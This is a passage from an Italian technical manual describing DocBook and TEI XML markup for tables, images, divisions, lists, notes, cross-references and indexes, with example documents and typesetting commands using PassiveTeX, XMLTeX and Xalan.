Il contenuto dell'elemento '**`tgroup`**' è il corpo della tabella, con o senza intestazioni:

```
<tgroup cols="n_colonne">
    [<thead>
        righe
    </thead>]
    [<tfoot>
        righe
    </tfoot>]
    <tbody>
        righe
    </tbody>
</tgroup>
```

Il contenuto di un'intestazione o del corpo sono le righe, normalmente descritte semplicemente con l'elemento '**`row`**':

```
<row>
    <entry>
        contenuto_della_cella
    </entry>
    ...
</row>
```

Si osservi che il contenuto di una cella può essere un testo lineare oppure uno o più blocchi.

65.2.5.3 Immagini

L'inserzione di immagini può avvenire in contesti differenti, utilizzando elementi appropriati che attribuiscono un senso al tipo di immagine che si va a includere. Il modo più generalizzato per inserire un'immagine è attraverso l'uso dell'elemento '**`mediaobject`**' o di '**`inlinemediaobject`**': il primo per le immagini che costituiscono un blocco a parte, mentre il secondo consente l'inserzione all'interno di un testo lineare. Inoltre, quando si inserisce un'immagine che costituisce un blocco autonomo, questa la si può inserire nell'elemento '**`figure`**' o nell'elemento '**`informalfigure`**'; entrambi consentono di controllarne la fluttuazione per motivi tipografici, mentre solo il primo permette di aggiungere un titolo alla figura.

```
<informalfigure [float="0"|"0"]>
    figura
    ...
</informalfigure>
```

```
<figure [float="0"|"0"]>
    [<title>titolo</title>]
    figura
    ...
</figure>
```

I due modelli sintattici riepilogano in modo molto semplificato l'uso degli involucri costituiti dagli elementi '**informalfigure**' e '**figure**'. Come si può intuire, assegnando il valore uno all'attributo '**float**' si rende fluttuante la figura contenuta.

Anche gli elementi '**mediaobject**' o di '**inlinemediaobject**' sono contenitori di altri più specifici per poter fare riferimento a un file esterno contenente un'immagine. Come accennato, il primo si presta all'uso in un blocco a sé stante, mentre il secondo per l'inserimento in un testo lineare. Nel caso si utilizzi un involucro del tipo '**figure**' o '**informalfigure**', si deve utilizzare '**mediaobject**'.

```
<inlinemediaobject>|<mediaobject>
    <imageobject>
        <imagedata fileref="file_esterno" format="nome_formato">
    </imageobject>
    ...
    [<textobject>
        blocchi_di_testo
    </textobject>]
</inlinemediaobject>|</mediaobject>
```

Il modello sintattico descrive in modo molto semplificato l'uso degli elementi '**inlinemediaobject**' e '**mediaobject**', tralasciando la possibilità per il secondo di inserire una didascalia nell'elemento '**caption**'.[5]

Come si può vedere dal modello, si possono inserire più elementi '**imageobject**', ognuno per indicare il riferimento a un'immagine in forma diversa, da usare in alternativa alle altre, secondo le caratteristiche del tipo di composizione attuato. In questa ottica va visto anche l'elemento '**textobject**' che serve a contenere dei blocchi di testo normali, per descrivere l'oggetto quando questo non può essere visualizzato in alcun modo. L'esempio seguente mostra l'inserimento di un'immagine, senza l'involucro '**figure**', in cui appare il riferimento a due formati differenti, ognuno adatto a un sistema di composizione particolare, assieme a un'annotazione alternativa:

```
<mediaobject>
    <imageobject>
        <imagedata fileref="prova.jpg" format="jpg"
    </imageobject>
    <imageobject>
        <imagedata fileref="prova.eps" format="eps"
    </imageobject>
    <textobject>
```

```
        <para>una figura qualunque</para>
    </textobject>
    <caption>
        <para>Questa &egrave; una prova</para>
    </caption>
</mediaobject>
```

65.2.5.4 Riferimenti interni ed esterni

I riferimenti interni al documento si fanno inserendo delle ancore per mezzo dell'attributo '**id**' disponibile nella maggior parte degli elementi:

```
<nome_elemento id="stringa_di_identificazione">...</nome_elemento>
```

Eventualmente è disponibile anche un elemento aggiuntivo il cui solo scopo è quello di consentire l'inserimento di un'ancora in quel punto particolare; si tratta dell'elemento '**anchor**' che è vuoto:

```
<anchor id="stringa_di_identificazione"/>
```

Per fare riferimento alle ancore inserite nel documento stesso, si possono usare due modi, attraverso gli elementi '**link**' e '**xref**'. Nel primo caso si ottiene un riferimento ipertestuale attraverso il testo delimitato dall'elemento '**link**', valido quindi solo in una composizione che consenta questo tipo di utilizzo, mentre l'elemento '**xref**' è vuoto e fa apparire il numero della sezione o un altro riferimento visivo:

```
<link linkend="stringa_di_identificazione">...</link>
```

```
<xref linkend="stringa_di_identificazione"/>
```

I riferimenti esterni si fanno normalmente attraverso degli indirizzi URI; per questi è a disposizione l'elemento '**ulink**' che si usa con l'attributo '**url**':

```
<ulink url="indirizzo_uri">testo_del_riferimento</ulink>
```

A seconda della composizione finale, l'indirizzo URI a cui si fa riferimento potrebbe apparire oppure no.

65.2.6 Conclusione

DocBook è un sistema SGML/XML molto complesso e ancora lontano dall'avere trovato una struttura definitiva. Data la disponibilità di una quantità così grande di elementi, che spesso si equivalgono, oltre alla grande libertà con cui questi possono essere usati, fa sì che l'uso effettivo di DocBook dipenda principalmente da due fattori: le capacità reali del sistema di composizione e dalla guida di stile stabilita per il progetto editoriale a cui si vuole partecipare con DocBook.

In altri termini, la struttura di DocBook non dà implicitamente dei limiti e difficilmente un autore può conoscere perfettamente il contesto corretto per ogni elemento; pertanto, diventa indispensabile la definizione di una guida di stile per l'uso di DocBook; guida che può essere molto diversa da un progetto editoriale a un altro.

65.3 Introduzione a TEI

TEI (*Text encoding initiative*), è un sistema di codifica SGML/XML per testi, nato e sviluppato con l'intento di dare la possibilità di trascrivere in forma elettronica, un documento che originariamente è disponibile solo in forma cartacea.

A prima vista non si comprende il significato di questa precisazione, se non si considera lo studio di un testo dal punto di vista linguistico, storico e artistico. Tanto per fare un esempio, TEI prevede anche la possibilità di annotare dove si trovano i salti pagina e le interruzioni di riga, nell'ambito di una certa edizione del documento che viene trascritto.

In generale, TEI potrebbe essere usato per realizzare qualunque tipo di documento elettronico, ma la sua caratteristica lo porta a essere più adatto alla trascrizione di ciò che non nasce in forma elettronica.

Il DTD di TEI prevede una grande quantità di elementi, con scopi molto particolari. Sta comunque a chi lo utilizza (per scrivere un'opera originale o per trascrivere un altro documento), stabilire come analizzare e suddividere le informazioni, in base all'obiettivo che si prefigge con il suo lavoro.

TEI offre anche un sottoinsieme del DTD completo, denominato TEI Lite. In generale i sistemi di composizione basati su TEI potrebbero non essere in grado di gestire tutte le situazioni, pertanto conviene avvicinarsi a questo sistema iniziando dal modello semplificato.

Lo sviluppo di TEI è sostenuto da associazioni letterarie, linguistiche e umanistiche che hanno dato vita a un consorzio: il consorzio TEI.

Le sezioni successive offrono solo una panoramica superficiale delle caratteristiche di TEI, assieme a qualche piccolo esempio pratico. La documentazione citata alla fine del capitolo può servire per approfondirne lo studio.

65.3.1 Strumenti per la composizione

In un sistema GNU esistono due modi per comporre un documento scritto secondo il formato XML di TEI: attraverso dei fogli di stile XSLT che permettono di ottenere un file XSL-FO da comporre successivamente, oppure attraverso PassiveTeX (e di conseguenza XMLTeX). In generale, nessuno dei due modi dà risultati perfetti, pertanto conviene considerarli entrambi.

```
<?xml version="1.0" encoding="UTF-8" ?>
<TEI.2>
    <teiHeader>
        <fileDesc>
            <titleStmt>
                <title>Esempio elementare con TEI</title>
            </titleStmt>
            <publicationStmt>
                <p/>
            </publicationStmt>
            <sourceDesc>
                <p/>
            </sourceDesc>
        </fileDesc>
    </teiHeader>
    <text>
        <body>
            <p>Ciao a tutti!</p>
        </body>
    </text>
</TEI.2>
```

L'esempio che si vede rappresenta il minimo necessario per scrivere una piccola frase. Supponendo di avere chiamato questo file '`tei-001.xml`', dovrebbe essere possibile ottenere la sua composizione con l'aiuto di PassiveTeX e XMLTeX in questo modo:

`$` **`latex "&xmltex" tei-001.xml`** [*Invio*]

Dal momento che non ci sono riferimenti incrociati, non serve ripetere il procedimento. Eventualmente, si può convertire il file DVI ottenuto in PostScript:

`$` **`dvips -o tei-001.ps tei-001.dvi`** [*Invio*]

In alternativa a questi passaggi si potrebbe generare direttamente un file PDF in questo modo:

`$` **`pdflatex "&pdfxmltex" tei-001.xml`** [*Invio*]

Se invece si vuole percorrere la strada della trasformazione XSLT e della composizione del file XSL-FO che si genera, occorre procurarsi i fogli di stile, dall'indirizzo ⟨*http://sourceforge.net/projects/tei/files/*⟩.

Una volta ottenuti tutti i file che compongono il pacchetto dei fogli di stile per la composizione per la stampa, si può procedere alla trasformazione con strumenti come Xalan (sezione 64.2):

`$` **`xalan -IN tei-001.xml -XSL tei.xsl -OUT tei-001.fo`** [*Invio*]

Si dovrebbe ottenere così il file '`tei-001.fo`' da rielaborare ulteriormente.

Il lavoro di realizzazione dei fogli di stile XSLT potrebbe essere incompleto, tanto da far sì che Xalan riveli degli errori. Durante le prove fatte per realizzare questo capitolo il file '`teicommon.xsl`', del pacchetto già citato, conteneva un errore relativo alla chiamata di un modello non dichiarato (precisamente si trattava di '**`makeURL`**'). È stato sufficiente circoscrivere con un commento l'elemento '**`xsl:call-template`**' che provocava l'errore per completare la trasformazione in modo corretto.

La composizione del file XSL-FO generato si può ottenere per mezzo di FOP, oppure sempre con PassiveTeX e XMLTeX. Qui si mostra il secondo caso; per l'uso di FOP si può consultare la sezione 64.3:

```
$ pdflatex "&pdfxmltex" tei-001.fo [Invio]
```

65.3.2 Struttura generale di un documento TEI

Un documento TEI è contenuto nell'elemento '**`TEI.2`**', che si compone necessariamente degli elementi '**`teiHeader`**' e '**`text`**'. A sua volta, l'elemento '**`teiHeader`**' si scompone in altri elementi, parte dei quali sono obbligatori. Il modello seguente si riferisce al minimo della struttura complessiva:

```
<TEI.2>
    <teiHeader>
        <fileDesc>
            <titleStmt>
                <title>titolo</title>
                [<author>autore</author>]
                ...
                [<editor>editore</editor>]
                ...
            </titleStmt>
            <publicationStmt>
                dichiarazione_relativa_alla_pubblicazione
            </publicationStmt>
            <sourceDesc>
                descrizione_della_fonte
            </sourceDesc>
        </fileDesc>
    </teiHeader>
    <text>
        <body>
            corpo
        </body>
    </text>
</TEI.2>
```

Il contenuto del documento, circoscritto dall'elemento '**text**', può contenere, oltre all'elemento '**body**', gli elementi '**front**' e '**back**', per inserire rispettivamente, qualcosa da mettere all'inizio (come una prefazione) e alla fine (come un'appendice o un indice analitico). Al posto dell'elemento '**body**' si può mettere un elemento '**group**', che a sua volta può contenere un elemento '**text**' con la sua suddivisione. Queste possibilità vengono solo accennate, ma non si mostrano esempi di questo tipo.

65.3.2.1 Suddivisione del testo

L'elemento '**body**' (così come '**front**' e '**back**') può contenere del testo senza suddivisioni, composte per esempio da elementi '**p**' (paragrafi, come per HTML), oppure una suddivisione in sezioni, ma forse è più appropriato definirle «divisioni», delineate da elementi '**div**' o '**div*n***':

```
<div>
    ...
    <div>
        ...
        <div>
            ...
            ...
        </div>
    </div>
</div>
```

```
<div1>
    ...
    <div2>
        ...
        <div3>
            ...
            ...
        </div3>
    </div2>
</div1>
```

I due modelli sintattici dovrebbero permettere di capire che esiste un modo di usare gli elementi '**div**', annidandoli, lasciando intendere il livello in base all'annidamento, mentre è anche possibile usare elementi '**div*n***' che devono essere collocati in modo appropriato in base all'annidamento. In pratica, il secondo modo consente di avere un controllo maggiore rispetto agli errori che si possono fare involontariamente. È anche evidente che le due forme di suddivisione non sono miscelabili.

I vari attributi di questi elementi consentono di inserire informazioni che possono tornare utili per descrivere le caratteristiche della divisione, ma in linea di principio non intervengono nel modificare l'aspetto della composizione finale.

Una divisione ha probabilmente un titolo, che si definisce utilizzando l'elemento '**head**' prima del testo che si vuole inserire al suo interno:

```
<div[n]>
    <head>titolo</head>
    contenuto
    [<div[n]>
        ...
    </div[n]>]
</div[n]>
```

Segue un esempio molto semplice, con l'uso di divisioni non numerate:

```
<?xml version="1.0" encoding="UTF-8" ?>
<TEI.2>
    <teiHeader>
        <fileDesc>
            <titleStmt>
                <title>Esempio elementare con TEI</title>
            </titleStmt>
            <publicationStmt>
                <p/>
            </publicationStmt>
            <sourceDesc>
                <p/>
            </sourceDesc>
        </fileDesc>
    </teiHeader>
    <text>
        <body>
            <div>
                <head>Sezione bla bla</head>
                <p>Bla bla bla bla</p>
                <div>
                    <head>Sottosezione bla bla</head>
                    <p>Bla bla bla bla</p>
                    <div>
                        <head>Sotto-sottosezione bla bla</head>
                        <p>Bla bla bla bla</p>
                    </div>
                </div>
                <div>
                    <head>Un'altra sottosezione</head>
                    <p>Bla bla bla bla</p>
                </div>
            </div>
        </body>
```

```
    </text>
</TEI.2>
```

Si può osservare il risultato della composizione ottenuta con PassiveTeX e XMLTeX nella figura successiva:

1 Sezione bla bla
Bla bla bla bla
1.1 Sottosezione bla bla
Bla bla bla bla
1.1.1 Sotto-sottosezione bla bla
Bla bla bla bla
1.2 Un'altra sottosezione
Bla bla bla bla
1

65.3.2.2 Blocchi comuni

Dagli esempi mostrati è già apparso l'uso dell'elemento '**p**', che idealmente rappresenta ciò che viene chiamato normalmente «paragrafo», allo scopo di racchiudere del testo lineare, trasformandolo così in un blocco impaginato.

In generale non c'è molto da aggiungere a proposito di questo elemento, se non avvisare che sono disponibili diversi attributi per qualificare il testo che contiene.

<p>***testo_lineare***</p>

Negli esempi già mostrati appare anche l'uso di paragrafi vuoti, rappresentati come '**<p/>**', quando il contesto richiede espressamente l'inserimento di un blocco anche quando non si vuole fornire alcuna indicazione.

65.3.3 Elenchi

Gli elenchi si realizzano con l'elemento '**list**', che contiene normalmente soltanto elementi '**item**'. Notoriamente si distinguono diversi tipi di elenchi, in base al fatto che siano puntati, numerati o descrittivi. Questa caratteristica, contrariamente ad altri sistemi SGML/XML si ottiene assegnando il termine appropriate all'attributo '**type**':

```
<list type="simple"|"bulleted"|"ordered">
    <item>testo_lineare|blocco</item>
    ...
</list>
```

```
<list type="gloss">
    <label>etichetta</label> <item>testo_lineare|blocco</item>
    ...
</list>
```

I due modelli sintattici sono semplificati rispetto alle possibilità, soprattutto per quanto riguarda la disponibilità di altri attributi non indispensabili. Dal confronto, si deve intendere che il secondo modello riguarda gli elenchi descrittivi, dove la componente descrittiva dei punti dell'elenco è contenuta nell'elemento '**label**'.

```
<div>
    <head>Elenco puntato</head>
    <list type="bulleted">
        <item>prima voce</item>
        <item>
            <p>seconda voce</p>
        </item>
        <item>
            <p>terza voce</p>
            <p>bla bla bla</p>
        </item>
    </list>
</div>
<div>
    <head>Elenco numerato</head>
    <list type="ordered">
        <item>prima voce</item>
        <item>
            <p>seconda voce</p>
        </item>
        <item>
            <p>terza voce</p>
            <p>bla bla bla</p>
```

```
                </item>
            </list>
        </div>
```

L’elenco mostra due elenchi, uno puntato e l’altro numerato, contenuti ognuno in una divisione distinta. Si può osservare il fatto che gli elementi ‘**item**’ possono contenere testo lineare o altri blocchi, pertanto si possono realizzare anche dei sottoelenchi. Il risultato della composizione ottenuta con PassiveTeX e XMLTeX appare nella figura successiva:

1 **Elenco puntato**

- prima voce
- seconda voce
- terza voce
  bla bla bla

2 **Elenco numerato**

1. prima voce
2. seconda voce
3. terza voce
   bla bla bla

1

65.3.4 Tabelle

Le tabelle di TEI, pur essendo evidentemente dei blocchi, devono essere contenute all’interno di un elementi ‘**p**’ o simili. Una tabella si compone essenzialmente secondo la sintassi seguente:

```
<table rows="n_righe" cols="n_colonne">
    <row>
        <cell>contenuto_cella</cell>
        ...
    </row>
    ...
</table>
```

Naturalmente sono disponibili molti attributi per gli elementi, oltre quelli che sono stati mostrati; inoltre, è possibile inserire anche altri tipi di elementi prima della descrizione delle righe, ma questo tipo di utilizzo non viene mostrato.

Le celle della tabella possono contenere sia testo lineare, sia blocchi; tuttavia, può darsi che il sistema di composizione non sia in grado di gestire celle che contengono testo molto lungo.

```
<div>
    <head>Esempio di una tabella</head>

    <p>Bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla.</p>
    <p>
    <table rows="3" cols="2">
        <row>
            <cell>HTML/</cell>
            <cell>Contiene l'ultima edizione dell'opera in
            formato HTML, per la consultazione in
            linea.</cell>
        </row>
        <row>
            <cell>PDF/</cell>
            <cell>Contiene l'ultima edizione dell'opera in
            formato PDF, per la consultazione in
            linea.</cell>
        </row>
        <row>
            <cell>PS/</cell>
            <cell>Contiene l'ultima edizione dell'opera in
            formato PostScript, per la consultazione in
            linea.</cell>
        </row>
    </table>
    </p>
    <p>Bla bla bla bla bla bla bla bla bla bla bla bla bla
    bla bla bla bla bla bla bla bla bla.</p>
</div>
```

L'esempio mostra una divisione che contiene una tabella molto semplice. Alcune celle della tabella contengono un testo molto lungo: dipende dal sistema di composizione effettivo la capacità o meno di impaginarlo correttamente. Nella figura successiva si vede cosa può accadere se ciò non avviene:

1 **Esempio di una tabella**

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

HTML/	Contiene l'ultima edizione dell'opera in formato HTML, per la consultazione in linea.
PDF/	Contiene l'ultima edizione dell'opera in formato PDF, per la consultazione in linea.
PS/	Contiene l'ultima edizione dell'opera in formato PostScript, per la consultazione in linea.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

1

65.3.5 Figure

Anche le figure devono essere contenute all'interno di un elementi '**`p`**' o simile. Una figura si compone essenzialmente secondo la sintassi seguente:

```
<figure [entity="entità_generale"]>
    <figDesc>descrizione_opzionale</figDesc>
</figure>
```

Una figura, secondo il sistema TEI può anche non essere dichiarata come oggetto grafico, ma semplicemente come indicatore della sua presenza. Pertanto, l'attributo '**`entity`**' che ha lo scopo di fare riferimento al file che contiene l'immagine, è facoltativo. Si osservi che l'elemento '**`figDesc`**' serve a inserire una descrizione che permetta di dare qualche indicazione a chi consulta il documento senza la possibilità di visualizzare l'immagine; pertanto non è da confondere con una didascalia.

L'indicazione del file che contiene l'immagine da visualizzare non avviene nello stesso modo di altri sistemi SGML/XML, perché si fa riferimento al nome di un'entità generale che deve essere dichiarata all'inizio del documento. Si osservi l'esempio seguente, nel quale viene dichiarata l'entità '**`FiguraEsempio`**', contenente il nome del file da inserire ('`esempio.jpg`'), a cui si fa riferimento nell'elemento '**`figure`**':

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE TEI.2 SYSTEM "teixlite.dtd"[
<!ENTITY FiguraEsempio SYSTEM "esempio.jpg" NDATA jpeg>
]>
```

```
<TEI.2>
    <teiHeader>
        <fileDesc>
            <titleStmt>
                <title>Esempio elementare con TEI</title>
            </titleStmt>
            <publicationStmt>
                <p/>
            </publicationStmt>
            <sourceDesc>
                <p/>
            </sourceDesc>
        </fileDesc>
    </teiHeader>
    <text>
        <body>
            <div>
                <head>Esempio di una figura</head>
                <p>Bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla.</p>
                <p>
                <figure entity="FiguraEsempio">
                    <figDesc>Una figura di esempio senza alcun
                    significato.</figDesc>
                </figure>
                </p>
                <p>Bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla.</p>
            </div>
        </body>
    </text>
</TEI.2>
```

Come si può osservare, nella dichiarazione dell'entità generale è stato specificato il formato dell'immagine. Sono disponibili le definizioni seguenti per i formati più comuni:

Sigla	Formato corrispondente
'**cgm**'	CGM
'**png**'	PNG
'**tiff**'	TIFF
'**gif**'	GIF
'**jpeg**'	JPEG

È ancora più importante osservare che il nome dell'entità viene inserito nell'attributo '**entity**' senza apparire come macro, ovvero senza la e-commerciale ('**&**') che servirebbe a espanderne il contenuto. Infatti, se così fosse, sarebbe sufficiente mettere il nome del file direttamente.

Si può vedere il risultato della composizione ottenuta attraverso la trasformazione dei fogli di stile XSLT nella figura seguente. Rispetto ad altri esempi che sono stati trasformati con PassiveTeX e XMLTeX, si notano delle informazioni in più.

My Institution
Esempio elementare con TEI
Date:

1. Esempio di una figura

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Figure1.

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

1

65.3.6 Forme di evidenziamento

TEI prevede diverse forme di evidenziamento del testo, ma per «evidenziamento» si deve intendere qualcosa che va oltre il puro aspetto visivo della composizione finale, perché lo scopo è quello di descrivere ciò che era in origine. Per esempio, si può delimitare una porzione del testo specificando che si tratta di un corsivo, ma questo è importante soprattutto per sapere che così era nel testo originale che si trascrive, mentre non è sicuro che il sistema di composizione usato renda effettivamente in corsivo il testo.

Gli elementi destinati a contenere testo prevedono un attributo comune, denominato '**`rend`**' (*rendition*), il cui scopo prevalente è quello di descrivere l'aspetto del carattere tipografico. A questo attributo si possono associare nomi come '**`italic`**', '**`bold`**', '**`roman`**', '**`gothic`**' e tanti altri, ma non sempre il sistema di composizione è in grado di riconoscerli.

Tabella 65.54. Riepilogo di alcuni elementi e attributi utili per descrivere porzioni di testo con caratteristiche o significati particolari.

Sintassi	Descrizione
<***nome*** rend="***definizione***">	L'attributo comune '**`rend`**' permette di dichiarare le caratteristiche tipografiche dell'oggetto delineato dall'elemento.
<emph>***testo***</emph>	Delinea un testo enfatizzato dal punto di vista linguistico; per stabilire l'aspetto del carattere tipografico si usa l'attributo '**`rend`**'.

Sintassi	Descrizione
<hi>***testo***</hi>	Delinea un testo enfatizzato dal punto di vista tipografico; per stabilire l'aspetto del carattere tipografico si usa l'attributo '**rend**'.
<foreign lang="***linguaggio***">***testo***</foreign>	Delinea un testo espresso in un'altra lingua.
<term>***testo***</term>	Delinea un termine tecnico.
<title>***testo***</title>	Delinea il titolo di qualcosa.
<q>***testo***</q>	Delinea una citazione.

65.3.7 Note

TEI prevede diversi tipi di note (note a margine, note a piè pagina, ecc.), per poter descrivere sia le annotazioni presenti nel testo che si va a trascrivere, sia quelle che potrebbero essere aggiunte in fase di trascrizione. Queste annotazioni si inseriscono con l'elemento '**note**', che si utilizza in un contesto lineare:

```
<note   place="foot"|"inline"|"left"|"right"|"end"|...
        [resp="author"|"editor"|...]
        [altri_attributi]>
    nota
</note>
```

Come si vede, nel modello sintattico si vede anche la possibilità di usare l'attributo '**resp**', con lo scopo di specificare chi ha fatto la nota.

L'esempio seguente mostra la dichiarazione di una nota a piè pagina comune, senza indicazioni particolari:

```
<p>Per esempio, /uno/due/tre rappresenta il file (o la
directory) tre che discende da due, che discende da uno,
che a sua volta discende dall'origine.<note
place="foot">Il tipo di barra obliqua che si utilizza
dipende dal sistema operativo. La barra obliqua normale
corrisponde al sistema tradizionale.</note></p>
```

65.3.8 Riferimenti incrociati e riferimenti esterni

Quando si fanno riferimenti interi al documento, si utilizzano degli elementi che puntano a delle ancore, ovvero delle etichette, dichiarate attraverso un attributo comune alla maggior parte degli altri elementi: '**id**'. In mancanza di altro, si possono usare gli elementi '**anchor**' e '**seg**' per inserire un'etichetta:

```
<anchor id="etichetta" />
```

```
<seg id="etichetta">
    testo
</seg>
```

Per fare riferimento a queste ancore, si usano gli elementi '**ref**' e '**ptr**':

```
<ptr target="etichetta" />
```

```
<ref target="etichetta">
    testo
</ref>
```

Per fare riferimento a documenti esterni, le cose si complicano, perché occorre dichiarare gli indirizzi all'interno di entità generali, come avviene per i file delle figure:

```
<xptr doc="entità" />
```

```
<xref doc="entità">
    testo
</xref>
```

L'esempio seguente mostra l'uso di un riferimento interno e di uno esterno; alcune righe sono state omesse:

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE TEI.2 SYSTEM "teixlite.dtd"[
<!ENTITY Indirizzo SYSTEM "http://www.brot.dg" NDATA URL>
]>
<TEI.2>
    ...
    ...
    <text>
```

```
        <body>
            <div>
                <head id="riferimenti">Riferimenti</head>
                ...
                ...
                <p>Per esempio, all'inizio della sezione <ref
                target="riferimenti">Riferimenti</ref>, si trova una
                spiegazione... bla bla bla bla bla bla bla bla bla bla
                bla.</p>
                ...
                ...
                <p>Il documento tal dei tali si ottiene dall'indirizzo
                <xref doc="Indirizzo">http://www.brot.dg</xref>.</p>
            </div>
        </body>
    </text>
</TEI.2>
```

65.3.9 Documentazione tecnica

Quando si scrive documentazione tecnica diventa importante poter rappresentare del testo con un carattere a larghezza uniforme, spesso rispettando le interruzioni di riga. Per questo si usano due elementi in particolare: '**eg**' e '**code**':

```
<code>testo_lineare</code>
```

```
<eg>
    testo_lineare
    ...
</eg>
```

Dal modello sintattico potrebbe non essere chiaro, ma l'elemento '**eg**' è quello che rispetta le interruzioni di riga.

Naturalmente, dove appropriato, si possono usare sezioni marcate di tipo CDATA ('**<![[CDATA[***testo_letterale***]]>**'), per poter usare letteralmente alcuni simboli che per SGML e XML hanno significati particolari.

L'esempio seguente riepiloga l'uso di questi due elementi:

```
                <eg>
                dd              gzip            nisdomainname   tar
                df              hostname        ping            touch
                dmesg           kill            ps              true
```

```
dnsdomainname  ln             pwd            umount
doexec         login          rm             uname
domainname     ls             rmdir          vi
echo           mail           rpm            view
egrep          mkdir          sed            vim
ex             mknod          sh             ypdomainname
false          more           sleep          zcat
</eg>

<p>Il comando <code>mknod</code> crea...</p>
```

65.3.10 Indici

Come in altri sistemi di composizione SGML o XML, anche con TEI è possibile generare automaticamente degli indici. Si usa per questo l'elemento '**divGen**', che va a collocarsi al posto di un elemento '**div**' o '**div1**':

```
<divGen type="toc"/>
```

Quello che si vede è il modo per ottenere un indice generale dai titoli delle divisioni. Per ottenere un indice analitico occorre prima inserire degli elementi '**index**' nel testo, dove si possono individuare dei termini importanti da annotare nell'indice:

```
<index  level1="voce"
        [level2="voce_inferiore"
        [level3="voce_inferiore"
        [...]]] />
```

In pratica, è possibile indicare una voce singola, oppure una voce suddivisa in più livelli. Per ottenere l'indice analitico si usa sempre l'elemento '**divGen**', specificando che si tratta di un indice analitico:

```
<divGen type="index"/>
```

L'esempio seguente mostra i due casi. Si osservi che probabilmente gli strumenti di composizione comuni portano a ottenere l'indice generale, ma non quello analitico:

```
<divGen type="toc" />
<div>
    <head>Prima divisione</head>

    <p>I <index level1="transistor" />transistor si dividono
    in due tipi: <index level1="transistor"
    level2="PNP"/>PNP e <index level1="transistor"
    level2="NPN"/>NPN. Bla bla bla bla bla bla bla bla bla
```

```
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla.</p>

            </div>
            <div>
                <head>Seconda divisione</head>

                <p>Bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                bla bla bla bla bla bla bla bla bla bla bla.</p>
            </div>
            <divGen type="index" n="Index" />
```

65.4 Riferimenti

- *SGMLtools lite*

  ⟨http://sgmltools-lite.sourceforge.net/ ⟩
- Ian Jackson, Arno van Rangelrooij, *Debiandoc-SGML Markup Manual*
- *The DocBook DTD*

  ⟨http://www.oasis-open.org/docbook/ ⟩
- David Rugge, Mark Galassi, Eric Bischoff, *Writing documentation using DocBook*

  ⟨http://opensource.bureau-cornavin.com/crash-course/ ⟩
- Norman Walsh, Leonard Muellner, *DocBook: The Definitive Guide*, 2001, O'Reilly & Associates, Inc., ISBN 1-56592-580-7

  ⟨http://oreilly.com/catalog/docbook/chapter/book/docbook.html ⟩
- TEI Consortium, *Text Encoding Initiative*

  ⟨http://www.tei-c.org ⟩
- Martin Mueller, *A very gentle introduction to the TEI*

  ⟨http://web.archive.org/web/*/http://www.tei-c.org/Sample_Manuals/mueller-main.htm ⟩
- TEI Consortium, *TEI Lite DTD*

  ⟨http://www.tei-c.org/Guidelines/Customization/Lite/DTD/teixlite.dtd ⟩
- Sebastian Rahtz, *PassiveTeX*

  ⟨http://web.archive.org/web/*/http://www.tei-c.org/Software/passivetex ⟩

[1] Per fare un esempio evidente, basta pensare all'inserzione di immagini e a ciò che si può ottenere in un formato finale puramente testuale: niente immagini.

[2] Non ha senso nella traduzione HTML.

[3] L'elemento '**`htmlurl`**' crea qualche problema quando si vogliono indicare caratteri speciali nell'URI, come nel caso della tilde. Sotto questo aspetto, per evitare problemi, è meglio limitarsi all'uso di '**`url`**'.

[4] LinuxDoc cerca di privilegiare in qualche modo l'ambiente matematico di LaTeX. Per richiamarlo è sufficiente delimitarlo attraverso le parentesi quadre, che così non possono essere usate in modo letterale. Come nel caso di altri simboli speciali, anche le parentesi quadre vanno indicate con l'uso di macro.

[5] Si osservi che in questo caso si tratterebbe di una didascalia vera e propria e non di un titolo come si fa nell'elemento '**`figure`**'.

HTML

66.1 URI 3737

66.1.1 Trascrivibilità 3737
66.1.2 Sintassi 3737
66.1.3 Limitazioni nell'uso dei caratteri 3741

66.2 Aspetti generali di HTML 3742

66.2.1 HTML e SGML 3743
66.2.2 Stili 3747
66.2.3 Struttura di un documento HTML 3749

66.3 Attributi comuni 3753

66.3.1 Linguaggio 3753
66.3.2 Codifica 3753
66.3.3 Direzione del testo 3754
66.3.4 Titolo 3754
66.3.5 Identificazione di un elemento 3755
66.3.6 Classificazione degli elementi 3755

66.4 HTML: corpo 3755

66.4.1 Delimitazione di blocchi e di testo normale 3755
66.4.2 Titoli e struttura implicita del testo 3756
66.4.3 Testo 3757
66.4.4 Elenchi 3760
66.4.5 Tabelle 3761
66.4.6 Riferimenti ipertestuali 3764
66.4.7 Inserzioni di oggetti 3765

66.5 XHTML 3767

66.5.1 Scheletro di un file XHTML 3767
66.5.2 Verifica della validità di un file XHTML 3768

66.6 CSS 3768

66.6.1 Logica del linguaggio CSS 3769
66.6.2 Proprietà 3773
66.6.3 Definizione della pagina 3777

66.7 JavaScript 3779

66.7.1 Verifica sintattica 3783
66.7.2 Caratteristiche generali del linguaggio di programmazione 3786

66.7.3 Variabili, costanti, tipi di dati ed espressioni 3786
66.7.4 Funzioni e campo di azione delle variabili 3789
66.7.5 Strutture di controllo di flusso 3789
66.7.6 Array 3792
66.7.7 Funzioni standard 3794
66.7.8 Gestione delle stringhe 3796
66.7.9 Moduli «FORM» 3797
66.7.10 Esempi di programmazione 3800

66.8 Approfondimento: verifiche automatiche con JavaScript 3806

66.8.1 Utilizzo del programma 3812
66.8.2 Codice HTML 3814
66.8.3 Variabili globali 3815
66.8.4 Conto alla rovescia 3815
66.8.5 Scansione di un elenco di tipo «RADIO» 3817
66.8.6 Valutazione della verifica 3818

66.9 HTML2ps 3823

66.9.1 Configurazione di HTML2ps 3823
66.9.2 Avvio di HTML2ps 3833
